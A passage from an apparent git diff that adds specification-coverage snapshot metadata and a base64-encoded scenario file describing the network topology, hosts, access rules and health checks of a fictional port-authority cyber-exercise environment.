concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement.", + "This capture replays issue #1299 partial listener descriptions on the integrated source state; endpoint completeness and backend admission remain outside this protocol's claims.", + "This capture also binds authoring-adapter semantic conformance to the integrated source; adapter transport behavior remains outside this protocol's claims.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "This capture binds issue #1297 service-manager identity, native-name, and explicitly selected systemd-state contract changes to the integrated source. It exercises no live service manager and adds no backend-execution claim.", + "This capture replays the retained specification-coverage protocol after API-404 startup reconciliation added an operational recovery-observation contract. It does not evaluate crash recovery, classify provider effects, or broaden EXP-715 experiment-observation claims.", + "This capture binds API-404 single-owner store admission and immutable target/run scope to the integrated source. The retained offline protocol does not exercise process leases, SQLite lifecycle ordering, or crash recovery.", + "This capture binds issue #1015 deterministic mixed and staged trial admission to the integrated source. The retained offline language corpus does not execute mixed runtimes, phase transitions, backend handoff, or scheduler-driven realization.", + "This replay binds issue #1186 offline control-plane maintenance, readiness, and bounded audit code to the integrated source. The retained language corpus does not execute store recovery, HTTP health behavior, or audit redaction.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #1016 mixed-runtime coordination is covered by its dedicated runtime suite. The retained language corpus does not execute mixed providers or establish backend-native realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "6d55d336eb9f39eb7718834e2645888f965adc8d", + "snapshot_id": "raes-standardized-specification-coverage-issue-1401-v66", + "snapshot_revision": "66.0.0", + "source_state": { + "base_revision": "6d55d336eb9f39eb7718834e2645888f965adc8d", + "checkout_state": "modified", + "implementation_digest": "8c1153320260a66058dcc38a2dcf6efd417f1c133b6d052df022ea85a6ae027d", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/historical-artifacts/0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f.json b/docs/research/specification-coverage/historical-artifacts/0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f.json new file mode 100644 index 000000000..e9f140190 --- /dev/null +++ b/docs/research/specification-coverage/historical-artifacts/0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f.json @@ -0,0 +1,5 @@ +{ + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "content_base64": "bmFtZTogcG9ydC1hdXRob3JpdHktc3VyZ2UtcmVzcG9uc2UKZGVzY3JpcHRpb246ICdQb3J0IGF1dGhvcml0eSBzdXJnZS1kYXkgZXhlcmNpc2UgY292ZXJpbmcgY3VzdG9tcyBjb29yZGluYXRpb24sIG1hbmlmZXN0CiAgaW50ZWdyaXR5LCB5YXJkIE9UIGRpc3J1cHRpb24sIGFuZCBibGFja3N0YXJ0LXN0eWxlIHJlY292ZXJ5IG9mIGNyYW5lIG9wZXJhdGlvbnMKICBkdXJpbmcgYSBjYXJnbyBzcGlrZS4KCiAgJwpub2RlczoKICBwdWJsaWMtZWRnZToKICAgIHR5cGU6IHN3aXRjaAogICAgZGVzY3JpcHRpb246IFB1YmxpYyBzaGlwcGluZyBhbmQgcGFydG5lciBpbmdyZXNzCiAgdGVybWluYWwtaXQ6CiAgICB0eXBlOiBzd2l0Y2gKICAgIGRlc2NyaXB0aW9uOiBUZXJtaW5hbCBvcGVyYXRpbmcgc3lzdGVtcyBhbmQgcG9ydGFsIHRpZXIKICBjdXN0b21zLWxpbms6CiAgICB0eXBlOiBzd2l0Y2gKICAgIGRlc2NyaXB0aW9uOiBDdXN0b21zIGFuZCBwYXJ0bmVyIGludGVncmF0aW9uIGJvdW5kYXJ5CiAgeWFyZC1vdDoKICAgIHR5cGU6IHN3aXRjaAogICAgZGVzY3JpcHRpb246IFlhcmQgY29udHJvbCBhbmQgUExDIHpvbmUKICBzYWZldHktbmV0OgogICAgdHlwZTogc3dpdGNoCiAgICBkZXNjcmlwdGlvbjogU2FmZXR5IGFuZCBjYW1lcmEgYW5hbHl0aWNzIHpvbmUKICB2ZW5kb3ItbmV0OgogICAgdHlwZTogc3dpdGNoCiAgICBkZXNjcmlwdGlvbjogVmVuZG9yIG1haW50ZW5hbmNlIHBhdGgKICBzZWN1cml0eS1uZXQ6CiAgICB0eXBlOiBzd2l0Y2gKICAgIGRlc2NyaXB0aW9uOiBTT0MgbW9uaXRvcmluZyBuZXR3b3JrCiAgYmFja3VwLW5ldDoKICAgIHR5cGU6IHN3aXRjaAogICAgZGVzY3JpcHRpb246IEhpc3RvcmlhbiBhbmQgYmFja3VwIG5ldHdvcmsKICBzaGlwcGluZy1wb3J0YWw6CiAgICB0eXBlOiBjb21wdXRlCiAgICBzb3VyY2U6CiAgICAgIG5hbWU6IHBvcnRhbC1hcHAKICAgICAgdmVyc2lvbjogJyonCiAgICByZXNvdXJjZXM6CiAgICAgIHJhbTogNDI5NDk2NzI5NgogICAgICBjcHU6IDIKICAgIG9zOiBsaW51eAogICAgZmVhdHVyZXM6CiAgICAgIHNoaXBwaW5nLXBvcnRhbC1hcHA6IHBvcnRhbC1hZG1pbgogICAgY29uZGl0aW9uczoKICAgICAgcG9ydGFsLWhlYWx0aHk6IHBvcnRhbC1hZG1pbgogICAgcm9sZXM6CiAgICAgIHBvcnRhbC1hZG1pbjoKICAgICAgICB1c2VybmFtZTogcG9ydGFsCiAgICAgICAgZW50aXRpZXM6CiAgICAgICAgLSBwb3J0LWJsdWUuaXQKICAgIHNlcnZpY2VzOgogICAgLSBwb3J0OiA0NDMKICAgICAgbmFtZTogc2hpcHBpbmctcG9ydGFsLWh0dHBzCiAgbWFuaWZlc3QtZGI6CiAgICB0eXBlOiBjb21wdXRlCiAgICBzb3VyY2U6CiAgICAgIG5hbWU6IG1hbmlmZXN0LWRiCiAgICAgIHZlcnNpb246ICcqJwogICAgcmVzb3VyY2VzOgogICAgICByYW06IDg1ODk5MzQ1OTIKICAgICAgY3B1OiA0CiAgICBvczogbGludXgKICAgIGZlYXR1cmVzOgogICAgICBtYW5pZmVzdC1zdG9yZTogZGJhCiAgICBjb25kaXRpb25zOgogICAgICBtYW5pZmVzdC1pbnRlZ3JpdHktb2s6IGRiYQogICAgICB0YW1wZXJlZC1tYW5pZmVzdC1vYnNlcnZlZDogZGJhCiAgICByb2xlczoKICAgICAgZGJhOgogICAgICAgIHVzZXJuYW1lOiBwb3N0Z3JlcwogICAgICAgIGVudGl0aWVzOgogICAgICAgIC0gcG9ydC1ibHVlLml0CiAgICBzZXJ2aWNlczoKICAgIC0gcG9ydDogNTQzMgogICAgICBuYW1lOiBtYW5pZmVzdC1wb3N0Z3JlcwogICAgYXNzZXRfdmFsdWU6CiAgICAgIGludGVncml0eTogY3JpdGljYWwKICAgICAgYXZhaWxhYmlsaXR5OiBoaWdoCiAgdGVybWluYWwtb3BzOgogICAgdHlwZTogY29tcHV0ZQogICAgc291cmNlOgogICAgICBuYW1lOiB0ZXJtaW5hbC1vcGVyYXRpbmctc3lzdGVtCiAgICAgIHZlcnNpb246ICcqJwogICAgcmVzb3VyY2VzOgogICAgICByYW06IDY0NDI0NTA5NDQKICAgICAgY3B1OiA0CiAgICBvczogbGludXgKICAgIGZlYXR1cmVzOgogICAgICB0ZXJtaW5hbC1zZXJ2aWNlOiB0b3MtYWRtaW4KICAgIGNvbmRpdGlvbnM6CiAgICAgIHRlcm1pbmFsLXRocm91Z2hwdXQtaGVhbHRoeTogdG9zLWFkbWluCiAgICByb2xlczoKICAgICAgdG9zLWFkbWluOgogICAgICAgIHVzZXJuYW1lOiB0b3NhZG1pbgogICAgICAgIGVudGl0aWVzOgogICAgICAgIC0gcG9ydC1ibHVlLml0CiAgICBzZXJ2aWNlczoKICAgIC0gcG9ydDogNDQzCiAgICAgIG5hbWU6IHRvcy1odHRwcwogIHBvcnQtaWRwOgogICAgdHlwZTogY29tcHV0ZQogICAgc291cmNlOgogICAgICBuYW1lOiBwb3J0LWlkcAogICAgICB2ZXJzaW9uOiAnKicKICAgIHJlc291cmNlczoKICAgICAgcmFtOiAyMTQ3NDgzNjQ4CiAgICAgIGNwdTogMQogICAgb3M6IGxpbnV4CiAgICBmZWF0dXJlczoKICAgICAgcG9ydC1zc286IGlkcC1hZG1pbgogICAgY29uZGl0aW9uczoKICAgICAgcG9ydC1zc28taGVhbHRoeTogaWRwLWFkbWluCiAgICByb2xlczoKICAgICAgaWRwLWFkbWluOgogICAgICAgIHVzZXJuYW1lOiBpZHBhZG1pbgogICAgICAgIGVudGl0aWVzOgogICAgICAgIC0gcG9ydC1ibHVlLml0CiAgICBzZXJ2aWNlczoKICAgIC0gcG9ydDogNDQzCiAgICAgIG5hbWU6IHBvcnQtc3NvLWh0dHBzCiAgY3VzdG9tcy1nYXRld2F5OgogICAgdHlwZTogY29tcHV0ZQogICAgc291cmNlOgogICAgICBuYW1lOiBjdXN0b21zLWdhdGV3YXkKICAgICAgdmVyc2lvbjogJyonCiAgICByZXNvdXJjZXM6CiAgICAgIHJhbTogMjE0NzQ4MzY0OAogICAgICBjcHU6IDIKICAgIG9zOiBsaW51eAogICAgZmVhdHVyZXM6CiAgICAgIGN1c3RvbXMtYXBpOiBjdXN0b21zLWFkbWluCiAgICBjb25kaXRpb25zOgogICAgICBjdXN0b21zLWxpbmstaGVhbHRoeTogY3VzdG9tcy1hZG1pbgogICAgcm9sZXM6CiAgICAgIGN1c3RvbXMtYWRtaW46CiAgICAgICAgdXNlcm5hbWU6IGN1c3RvbXMKICAgICAgICBlbnRpdGllczoKICAgICAgICAtIGN1c3RvbXMtYWdlbmN5CiAgICBzZXJ2aWNlczoKICAgIC0gcG9ydDogNDQzCiAgICAgIG5hbWU6IGN1c3RvbXMtYXBpLWh0dHBzCiAgeWFyZC1obWk6CiAgICB0eXBlOiBjb21wdXRlCiAgICBzb3VyY2U6CiAgICAgIG5hbWU6IHlhcmQtaG1pCiAgICAgIHZlcnNpb246ICcqJwogICAgcmVzb3VyY2VzOgogICAgICByYW06IDQyOTQ5NjcyOTYKICAgICAgY3B1OiAyCiAgICBvczogd2luZG93cwogICAgb3NfZGlzdHJpYnV0aW9uOiB3aW5kb3dzLWNsaWVudAogICAgb3NfdmVyc2lvbjogJzEwJwogICAgZmVhdHVyZXM6CiAgICAgIHlhcmQtaG1pLWFwcDogaG1pLWFkbWluCiAgICBjb25kaXRpb25zOgogICAgICBjcmFuZS1zYWZlLW1vZGU6IGhtaS1hZG1pbgogICAgICBvcGVyYXRvci12aXNpYmlsaXR5LWhlYWx0aHk6IGhtaS1hZG1pbgogICAgcm9sZXM6CiAgICAgIGhtaS1hZG1pbjoKICAgICAgICB1c2VybmFtZTogY3JhbmVvcHMKICAgICAgICBlbnRpdGllczoKICAgICAgICAtIHBvcnQtYmx1ZS55YXJkLW9wcwogICAgc2VydmljZXM6CiAgICAtIHBvcnQ6IDMzODkKICAgICAgbmFtZTogeWFyZC1obWktcmRwCiAgICAtIHBvcnQ6IDQ0MwogICAgICBuYW1lOiB5YXJkLWhtaS13ZWIKICAgIGFzc2V0X3ZhbHVlOgogICAgICBpbnRlZ3JpdHk6IGNyaXRpY2FsCiAgICAgIGF2YWlsYWJpbGl0eTogY3JpdGljYWwKICBjcmFuZS1wbGM6CiAgICB0eXBlOiBjb21wdXRlCiAgICBzb3VyY2U6CiAgICAgIG5hbWU6IGNyYW5lLXBsYwogICAgICB2ZXJzaW9uOiAnKicKICAgIHJlc291cmNlczoKICAgICAgcmFtOiA1MzY4NzA5MTIKICAgICAgY3B1OiAxCiAgICBvczogb3RoZXIKICAgIGZlYXR1cmVzOgogICAgICBjcmFuZS1jb250cm9sOiBwbGMtYWRtaW4KICAgIGNvbmRpdGlvbnM6CiAgICAgIGNyYW5lLXBsYy1vbmxpbmU6IHBsYy1hZG1pbgogICAgcm9sZXM6CiAgICAgIHBsYy1hZG1pbjoKICAgICAgICB1c2VybmFtZTogcGxjc3ZjCiAgICBzZXJ2aWNlczoKICAgIC0gcG9ydDogNDg0MAogICAgICBuYW1lOiBjcmFuZS1vcGN1YQogIGdhdGUta2lvc2s6CiAgICB0eXBlOiBjb21wdXRlCiAgICBzb3VyY2U6CiAgICAgIG5hbWU6IGdhdGUta2lvc2sKICAgICAgdmVyc2lvbjogJyonCiAgICByZXNvdXJjZXM6CiAgICAgIHJhbTogMjE0NzQ4MzY0OAogICAgICBjcHU6IDEKICAgIG9zOiB3aW5kb3dzCiAgICBvc19kaXN0cmlidXRpb246IHdpbmRvd3MtY2xpZW50CiAgICBvc192ZXJzaW9uOiAnMTEnCiAgICBjb25kaXRpb25zOgogICAgICBnYXRlLXByb2Nlc3NpbmctaGVhbHRoeToga2lvc2stYWRtaW4KICAgIHJvbGVzOgogICAgICBraW9zay1hZG1pbjoKICAgICAgICB1c2VybmFtZToga2lvc2sKICAgIHNlcnZpY2VzOgogICAgLSBwb3J0OiA0NDMKICAgICAgbmFtZTogZ2F0ZS1raW9zay1odHRwcwogIGNhbWVyYS1hbmFseXRpY3M6CiAgICB0eXBlOiBjb21wdXRlCiAgICBzb3VyY2U6CiAgICAgIG5hbWU6IGNhbWVyYS1hbmFseXRpY3MKICAgICAgdmVyc2lvbjogJyonCiAgICByZXNvdXJjZXM6CiAgICAgIHJhbTogNDI5NDk2NzI5NgogICAgICBjcHU6IDIKICAgIG9zOiBsaW51eAogICAgZmVhdHVyZXM6CiAgICAgIGNhbWVyYS1haTogY2FtZXJhLWFkbWluCiAgICBjb25kaXRpb25zOgogICAgICBjYW1lcmEtYW5hbHl0aWNzLWhlYWx0aHk6IGNhbWVyYS1hZG1pbgogICAgcm9sZXM6CiAgICAgIGNhbWVyYS1hZG1pbjoKICAgICAgICB1c2VybmFtZTogY2FtZXJhCiAgICAgICAgZW50aXRpZXM6CiAgICAgICAgLSBwb3J0LWJsdWUueWFyZC1vcHMKICAgIHNlcnZpY2VzOgogICAgLSBwb3J0OiA0NDMKICAgICAgbmFtZTogY2FtZXJhLWFuYWx5dGljcy11aQogIGhpc3RvcmlhbjAxOgogICAgdHlwZTogY29tcHV0ZQogICAgc291cmNlOgogICAgICBuYW1lOiBvdC1oaXN0b3JpYW4KICAgICAgdmVyc2lvbjogJyonCiAgICByZXNvdXJjZXM6CiAgICAgIHJhbTogNDI5NDk2NzI5NgogICAgICBjcHU6IDIKICAgIG9zOiBsaW51eAogICAgZmVhdHVyZXM6CiAgICAgIGhpc3Rvcmlhbi1zZXJ2aWNlOiBoaXN0b3JpYW4tYWRtaW4KICAgIGNvbmRpdGlvbnM6CiAgICAgIHlhcmQtdGVsZW1ldHJ5LWZsb3dpbmc6IGhpc3Rvcmlhbi1hZG1pbgogICAgICBoaXN0b3JpYW4tcmVwbGljYXRpb24tb2s6IGhpc3Rvcmlhbi1hZG1pbgogICAgcm9sZXM6CiAgICAgIGhpc3Rvcmlhbi1hZG1pbjoKICAgICAgICB1c2VybmFtZTogaGlzdG9yaWFuCiAgICBzZXJ2aWNlczoKICAgIC0gcG9ydDogNDQzCiAgICAgIG5hbWU6IGhpc3Rvcmlhbi11aQogIHZlbmRvci1qdW1wOgogICAgdHlwZTogY29tcHV0ZQogICAgc291cmNlOgogICAgICBuYW1lOiB2ZW5kb3ItanVtcAogICAgICB2ZXJzaW9uOiAnKicKICAgIHJlc291cmNlczoKICAgICAgcmFtOiAyMTQ3NDgzNjQ4CiAgICAgIGNwdTogMQogICAgb3M6IGxpbnV4CiAgICBjb25kaXRpb25zOgogICAgICB2ZW5kb3ItanVtcC1oZWFsdGh5OiB2ZW5kb3ItYWRtaW4KICAgIHJvbGVzOgogICAgICB2ZW5kb3ItYWRtaW46CiAgICAgICAgdXNlcm5hbWU6IHZlbmRvcgogICAgICAgIGVudGl0aWVzOgogICAgICAgIC0gdmVuZG9yLW1haW50ZW5hbmNlCiAgICBzZXJ2aWNlczoKICAgIC0gcG9ydDogMjIKICAgICAgbmFtZTogdmVuZG9yLWp1bXAtc3NoCiAgc29jMDE6CiAgICB0eXBlOiBjb21wdXRlCiAgICBzb3VyY2U6CiAgICAgIG5hbWU6IHNpZW0tc3RhY2sKICAgICAgdmVyc2lvbjogJyonCiAgICByZXNvdXJjZXM6CiAgICAgIHJhbTogODU4OTkzNDU5MgogICAgICBjcHU6IDQKICAgIG9zOiBsaW51eAogICAgZmVhdHVyZXM6CiAgICAgIHBvcnQtc2llbTogc29jLWFkbWluCiAgICAgIHlhcmQtZWRyOiBzb2MtYWRtaW4KICAgIGNvbmRpdGlvbnM6CiAgICAgIHNvYy1mZWVkLWhlYWx0aHk6IHNvYy1hZG1pbgogICAgICBzdXJnZS1pbmNpZGVudC10aWNrZXRlZDogc29jLWFkbWluCiAgICByb2xlczoKICAgICAgc29jLWFkbWluOgogICAgICAgIHVzZXJuYW1lOiBzb2MKICAgICAgICBlbnRpdGllczoKICAgICAgICAtIHBvcnQtYmx1ZS5pbmNpZGVudC1jb21tYW5kCiAgICBzZXJ2aWNlczoKICAgIC0gcG9ydDogNTYwMQogICAgICBuYW1lOiBwb3J0LXNvYy11aQogIGJhY2t1cC12YXVsdDoKICAgIHR5cGU6IGNvbXB1dGUKICAgIHNvdXJjZToKICAgICAgbmFtZTogaW1tdXRhYmxlLWJhY2t1cAogICAgICB2ZXJzaW9uOiAnKicKICAgIHJlc291cmNlczoKICAgICAgcmFtOiA0Mjk0OTY3Mjk2CiAgICAgIGNwdTogMgogICAgb3M6IGxpbnV4CiAgICBmZWF0dXJlczoKICAgICAgeWFyZC1iYWNrdXA6IGJhY2t1cC1hZG1pbgogICAgY29uZGl0aW9uczoKICAgICAgYmxhY2tzdGFydC1ydW5ib29rLXJlYWR5OiBiYWNrdXAtYWRtaW4KICAgIHJvbGVzOgogICAgICBiYWNrdXAtYWRtaW46CiAgICAgICAgdXNlcm5hbWU6IGJhY2t1cAogICAgICAgIGVudGl0aWVzOgogICAgICAgIC0gcG9ydC1ibHVlLmluY2lkZW50LWNvbW1hbmQKICAgIHNlcnZpY2VzOgogICAgLSBwb3J0OiA0NDMKICAgICAgbmFtZTogeWFyZC1iYWNrdXAtdWkKaW5mcmFzdHJ1Y3R1cmU6CiAgcHVibGljLWVkZ2U6CiAgICBjb3VudDogMQogICAgcHJvcGVydGllczoKICAgICAgY2lkcjogMTAuMTEwLjAuMC8yNAogICAgICBnYXRld2F5OiAxMC4xMTAuMC4xCiAgdGVybWluYWwtaXQ6CiAgICBjb3VudDogMQogICAgcHJvcGVydGllczoKICAgICAgY2lkcjogMTAuMTEwLjEuMC8yNAogICAgICBnYXRld2F5OiAxMC4xMTAuMS4xCiAgICAgIGludGVybmFsOiB0cnVlCiAgY3VzdG9tcy1saW5rOgogICAgY291bnQ6IDEKICAgIHByb3BlcnRpZXM6CiAgICAgIGNpZHI6IDEwLjExMC4yLjAvMjQKICAgICAgZ2F0ZXdheTogMTAuMTEwLjIuMQogIHlhcmQtb3Q6CiAgICBjb3VudDogMQogICAgcHJvcGVydGllczoKICAgICAgY2lkcjogMTAuMTEwLjMuMC8yNAogICAgICBnYXRld2F5OiAxMC4xMTAuMy4xCiAgICAgIGludGVybmFsOiB0cnVlCiAgICBhY2xzOgogICAgLSBuYW1lOiBhbGxvdy15YXJkLWNvbnRyb2wKICAgICAgZGlyZWN0aW9uOiBpbgogICAgICBmcm9tX25ldDogdGVybWluYWwtaXQKICAgICAgcHJvdG9jb2w6IHRjcAogICAgICBwb3J0czoKICAgICAgLSA0NDMKICAgICAgLSA0ODQwCiAgICAgIGFjdGlvbjogYWxsb3cKICAgIC0gbmFtZTogZGVueS1wdWJsaWMteWFyZAogICAgICBkaXJlY3Rpb246IGluCiAgICAgIGZyb21fbmV0OiBwdWJsaWMtZWRnZQogICAgICBhY3Rpb246IGRlbnkKICBzYWZldHktbmV0OgogICAgY291bnQ6IDEKICAgIHByb3BlcnRpZXM6CiAgICAgIGNpZHI6IDEwLjExMC40LjAvMjQKICAgICAgZ2F0ZXdheTogMTAuMTEwLjQuMQogICAgICBpbnRlcm5hbDogdHJ1ZQogIHZlbmRvci1uZXQ6CiAgICBjb3VudDogMQogICAgcHJvcGVydGllczoKICAgICAgY2lkcjogMTAuMTEwLjUuMC8yNAogICAgICBnYXRld2F5OiAxMC4xMTAuNS4xCiAgICAgIGludGVybmFsOiB0cnVlCiAgc2VjdXJpdHktbmV0OgogICAgY291bnQ6IDEKICAgIHByb3BlcnRpZXM6CiAgICAgIGNpZHI6IDEwLjExMC42LjAvMjQKICAgICAgZ2F0ZXdheTogMTAuMTEwLjYuMQogICAgICBpbnRlcm5hbDogdHJ1ZQogIGJhY2t1cC1uZXQ6CiAgICBjb3VudDogMQogICAgcHJvcGVydGllczoKICAgICAgY2lkcjogMTAuMTEwLjcuMC8yNAogICAgICBnYXRld2F5OiAxMC4xMTAuNy4xCiAgICAgIGludGVybmFsOiB0cnVlCiAgc2hpcHBpbmctcG9ydGFsOgogICAgY291bnQ6IDEKICAgIGxpbmtzOgogICAgLSBwdWJsaWMtZWRnZQogICAgLSB0ZXJtaW5hbC1pdAogICAgLSBjdXN0b21zLWxpbmsKICBtYW5pZmVzdC1kYjoKICAgIGNvdW50OiAxCiAgICBsaW5rczoKICAgIC0gdGVybWluYWwtaXQKICAgIC0gYmFja3VwLW5ldAogICAgZGVwZW5kZW5jaWVzOgogICAgLSBiYWNrdXAtdmF1bHQKICB0ZXJtaW5hbC1vcHM6CiAgICBjb3VudDogMQogICAgbGlua3M6CiAgICAtIHRlcm1pbmFsLWl0CiAgICAtIGN1c3RvbXMtbGluawogICAgLSB5YXJkLW90CiAgICBkZXBlbmRlbmNpZXM6CiAgICAtIG1hbmlmZXN0LWRiCiAgICAtIHBvcnQtaWRwCiAgcG9ydC1pZHA6CiAgICBjb3VudDogMQogICAgbGlua3M6CiAgICAtIHRlcm1pbmFsLWl0CiAgICAtIGN1c3RvbXMtbGluawogIGN1c3RvbXMtZ2F0ZXdheToKICAgIGNvdW50OiAxCiAgICBsaW5rczoKICAgIC0gY3VzdG9tcy1saW5rCiAgICAtIHRlcm1pbmFsLWl0CiAgeWFyZC1obWk6CiAgICBjb3VudDogMQogICAgbGlua3M6CiAgICAtIHlhcmQtb3QKICAgIC0gc2FmZXR5LW5ldAogICAgZGVwZW5kZW5jaWVzOgogICAgLSB0ZXJtaW5hbC1vcHMKICBjcmFuZS1wbGM6CiAgICBjb3VudDogMQogICAgbGlua3M6CiAgICAtIHlhcmQtb3QKICBnYXRlLWtpb3NrOgogICAgY291bnQ6IDEKICAgIGxpbmtzOgogICAgLSB0ZXJtaW5hbC1pdAogIGNhbWVyYS1hbmFseXRpY3M6CiAgICBjb3VudDogMQogICAgbGlua3M6CiAgICAtIHNhZmV0eS1uZXQKICAgIC0gc2VjdXJpdHktbmV0CiAgaGlzdG9yaWFuMDE6CiAgICBjb3VudDogMQogICAgbGlua3M6CiAgICAtIHlhcmQtb3QKICAgIC0gYmFja3VwLW5ldAogICAgZGVwZW5kZW5jaWVzOgogICAgLSBiYWNrdXAtdmF1bHQKICB2ZW5kb3ItanVtcDoKICAgIGNvdW50OiAxCiAgICBsaW5rczoKICAgIC0gdmVuZG9yLW5ldAogICAgLSB5YXJkLW90CiAgc29jMDE6CiAgICBjb3VudDogMQogICAgbGlua3M6CiAgICAtIHNlY3VyaXR5LW5ldAogICAgLSB0ZXJtaW5hbC1pdAogIGJhY2t1cC12YXVsdDoKICAgIGNvdW50OiAxCiAgICBsaW5rczoKICAgIC0gYmFja3VwLW5ldAogICAgLSBzZWN1cml0eS1uZXQKZmVhdHVyZXM6CiAgc2hpcHBpbmctcG9ydGFsLWFwcDoKICAgIHR5cGU6IHNlcnZpY2UKICAgIHNvdXJjZToKICAgICAgbmFtZTogcmVhY3QtcG9ydGFsCiAgICAgIHZlcnNpb246ICcqJwogIG1hbmlmZXN0LXN0b3JlOgogICAgdHlwZTogc2VydmljZQogICAgc291cmNlOgogICAgICBuYW1lOiBwb3N0Z3Jlcy0xNQogICAgICB2ZXJzaW9uOiAnKicKICB0ZXJtaW5hbC1zZXJ2aWNlOgogICAgdHlwZTogc2VydmljZQogICAgc291cmNlOgogICAgICBuYW1lOiB0b3MtY29yZQogICAgICB2ZXJzaW9uOiAnKicKICBwb3J0LXNzbzoKICAgIHR5cGU6IHNlcnZpY2UKICAgIHNvdXJjZToKICAgICAgbmFtZToga2V5Y2xvYWsKICAgICAgdmVyc2lvbjogJyonCiAgY3VzdG9tcy1hcGk6CiAgICB0eXBlOiBzZXJ2aWNlCiAgICBzb3VyY2U6CiAgICAgIG5hbWU6IGN1c3RvbXMtcmVzdC1icmlkZ2UKICAgICAgdmVyc2lvbjogJyonCiAgeWFyZC1obWktYXBwOgogICAgdHlwZTogc2VydmljZQogICAgc291cmNlOgogICAgICBuYW1lOiB5YXJkLWhtaQogICAgICB2ZXJzaW9uOiAnKicKICBjcmFuZS1jb250cm9sOgogICAgdHlwZTogc2VydmljZQogICAgc291cmNlOgogICAgICBuYW1lOiBjcmFuZS1wbGMKICAgICAgdmVyc2lvbjogJyonCiAgY2FtZXJhLWFpOgogICAgdHlwZTogc2VydmljZQogICAgc291cmNlOgogICAgICBuYW1lOiB2aXNpb24tYW5hbHl0aWNzCiAgICAgIHZlcnNpb246ICcqJwogIGhpc3Rvcmlhbi1zZXJ2aWNlOgogICAgdHlwZTogc2VydmljZQogICAgc291cmNlOgogICAgICBuYW1lOiBoaXN0b3JpYW4KICAgICAgdmVyc2lvbjogJyonCiAgcG9ydC1zaWVtOgogICAgdHlwZTogc2VydmljZQogICAgc291cmNlOgogICAgICBuYW1lOiB3YXp1aC1lbGFzdGljLXN0YWNrCiAgICAgIHZlcnNpb246ICcqJwogIHlhcmQtZWRyOgogICAgdHlwZTogYXJ0aWZhY3QKICAgIHNvdXJjZToKICAgICAgbmFtZTogeWFyZC1lZHItYWdlbnQKICAgICAgdmVyc2lvbjogJyonCiAgICBkZXN0aW5hdGlvbjogL29wdC9lZHIKICB5YXJkLWJhY2t1cDoKICAgIHR5cGU6IHNlcnZpY2UKICAgIHNvdXJjZToKICAgICAgbmFtZTogaW1tdXRhYmxlLWJhY2t1cAogICAgICB2ZXJzaW9uOiAnKicKY29uZGl0aW9uczoKICBwb3J0YWwtaGVhbHRoeToKICAgIGNvbW1hbmQ6IC91c3IvbG9jYWwvYmluL2NoZWNrLXBvcnRhbAogICAgaW50ZXJ2YWw6IDMwCiAgbWFuaWZlc3QtaW50ZWdyaXR5LW9rOgogICAgcHJvcG9zaXRpb246IG1hbmlmZXN0LWludGVncml0eS1vawogICAgY29tbWFuZDogL3Vzci9sb2NhbC9iaW4vY2hlY2stbWFuaWZlc3QtaW50ZWdyaXR5CiAgICBpbnRlcnZhbDogMzAKICB0YW1wZXJlZC1tYW5pZmVzdC1vYnNlcnZlZDoKICAgIHByb3Bvc2l0aW9uOiB0YW1wZXJlZC1tYW5pZmVzdC1vYnNlcnZlZAogICAgY29tbWFuZDogL3Vzci9sb2NhbC9iaW4vY2hlY2stdGFtcGVyZWQtbWFuaWZlc3QKICAgIGludGVydmFsOiA2MAogIHRlcm1pbmFsLXRocm91Z2hwdXQtaGVhbHRoeToKICAgIGNvbW1hbmQ6IC91c3IvbG9jYWwvYmluL2NoZWNrLXRlcm1pbmFsLXRocm91Z2hwdXQKICAgIGludGVydmFsOiAzMAogIHBvcnQtc3NvLWhlYWx0aHk6CiAgICBjb21tYW5kOiAvdXNyL2xvY2FsL2Jpbi9jaGVjay1wb3J0LXNzbwogICAgaW50ZXJ2YWw6IDMwCiAgY3VzdG9tcy1saW5rLWhlYWx0aHk6CiAgICBwcm9wb3NpdGlvbjogY3VzdG9tcy1saW5rLWhlYWx0aHkKICAgIGNvbW1hbmQ6IC91c3IvbG9jYWwvYmluL2NoZWNrLWN1c3RvbXMtbGluawogICAgaW50ZXJ2YWw6IDMwCiAgY3JhbmUtc2FmZS1tb2RlOgogICAgcHJvcG9zaXRpb246IGNyYW5lLXNhZmUtbW9kZQogICAgY29tbWFuZDogL3Vzci9sb2NhbC9iaW4vY2hlY2stY3JhbmUtc2FmZS1tb2RlCiAgICBpbnRlcnZhbDogMTUKICBvcGVyYXRvci12aXNpYmlsaXR5LWhlYWx0aHk6CiAgICBjb21tYW5kOiAvdXNyL2xvY2FsL2Jpbi9jaGVjay1vcGVyYXRvci12aXNpYmlsaXR5CiAgICBpbnRlcnZhbDogMzAKICBjcmFuZS1wbGMtb25saW5lOgogICAgY29tbWFuZDogL3Vzci9sb2NhbC9iaW4vY2hlY2stY3JhbmUtcGxjCiAgICBpbnRlcnZhbDogMTU